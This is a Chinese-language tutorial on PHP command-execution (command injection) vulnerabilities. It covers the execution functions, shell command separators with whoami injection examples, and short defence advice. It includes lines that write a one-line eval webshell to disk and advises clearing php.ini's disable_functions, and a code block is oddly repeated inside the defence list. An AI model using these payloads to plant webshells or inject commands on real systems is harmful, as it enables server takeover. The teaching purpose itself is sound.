命令执行的概念
应用程序有时需要调用一些执行系统命令的函数、如在
PHP
中,使用
system
、
exec
、
shell_exec
、
passthru
、
popen
、
proc_popen
等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
命令执行的原理
和代码执行一样,我们要想搞清楚命令执行,也得先了解命令执行相关的函数。
这里主要介绍
PHP
的相关函数。
先检查下
php
配置文件
php.ini
中是有禁止这是个函数。找到
disable_functions
,配置如下:
disable_functions
=
如果
“disable_functions=”
后面有接上面四个函数,将其删除。
默认
php.ini
配置文件中是不禁止你调用执行外部命令的函数的。
system
string
system
( string$command [, int&$return_var ] )
// PHP会操纵计算机执行whoami的命令,且输出并返回结果
system('whoami');
这里记住:目标机器是
linux
执行的就是
Bash
命令,如果是
windows
执行的就是
cmd
命令。
如果还是想写
Webshell
。可以尝试
cmd
的输出命令
:
system('echo "<?php @eval($_REQUEST[6])?>" > 1.php');
当然也可以尝试
ping
命令:
system("ping 127.0.0.1");
exec
string
exec
( string$command [, array&$output [, int&$return_var ]] )
和
system
基本一致。
只是这个函数需要自己输出,以及只会返回最后一行数据。
echo exec('whoami');
exec('echo "<?php @eval($_REQUEST[6])?>" > 2.php');
echo exec("ping 127.0.0.1");
也可以把结果输出到数组中:
exec("dir", $dir);
print_r($dir);
system
和
exec
的区别在于
system
在执行系统外部命令时,直接将结果输出到浏览器,不需要使用
echo或 return
来查看结果,如果执行命令成功则返回
true
,否则返回
false
。第二个参数与
exec
第三个参数含义一样。
shell_exec
string
shell_exec
( string $cmd )
PHP
会去操纵计算机执行相关的命令
,
且获取所有数据
$res = shell_exec("dir");
var_dump($res);
注意在
PHP
中:
``
相当于执行
shell_exec
``
这个符号在
MySQL
数据库中,是用来屏蔽关键字的,比如 :
select * from order ;//
会报错的
select * from `order`; //
这样就不会报错
`calc`;
shell_exec('calc');
// 上面两个效果一致
passthru
void
passthru
( string$command [, int&$return_var ] )
只调用命令,把命令的运行结果原样地直接输出到标准输出设备
passthru("ping 127.0.0.1");
passthru
与
exec
的区别,
passthru
直接将结果输出到浏览器,不需要使用
echo
或
return
来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
popen
resource
popen
( string$command , string$mode )
这个执行的返回值比较特殊,返回的是一个文件指针,需要用
fread
去读取返回值。
$res = popen("ping 127.0.0.1", 'r');
echo fread($res, 1024);
echo fread($res, 1024);
echo fread($res, 1024);
echo fread($res, 1024);
命令连接符
Windows
系列支持的管道如下所示:
"|":
直接执行后面的语句,如:
ping 127.0.0.1 | whoami
"||":
如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:
ping 2 ||
whoami
"&"
:如果前面的语句为假则直接执行后面的语句,前面的语句可能为假。例如:
ping
127.0.0.1&whoami
"&&"
:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:
ping
127.0.0.1 && whoami
Linux
系列支持的管道如下所示:
";":
执行完前面的语句再执行后面的。如:
ping 127.0.0.1
;
whoami
"|"
:显示后面语句的执行结果。如:
ping 127.0.0.1 | whoami
"||"
:当前面的语句执行出错时,执行后面的语句。例如:
ping 1 || whoami
"&"
:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。如:
Ping 127.0.0.1 &
whoami
"&&"
:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。如:
ping 127.0.0.1
&& whoami
命令执行防御
针对命令执行漏洞的修复,建议:
1.
尽量不要使用命令执行函数
2.
客户端提交的变量在进入执行命令函数前要做好过滤和检测
$res
=
popen
(
"ping 127.0.0.1"
,
'r'
);
echo
fread
(
$res
,
1024
);
echo
fread
(
$res
,
1024
);
echo
fread
(
$res
,
1024
);
echo
fread
(
$res
,
1024
);
3.
在使用动态函数之前,确保使用的函数是指定的函数之一
4.
对
php
语言来说,不能完全控制的危险函数最好不要使用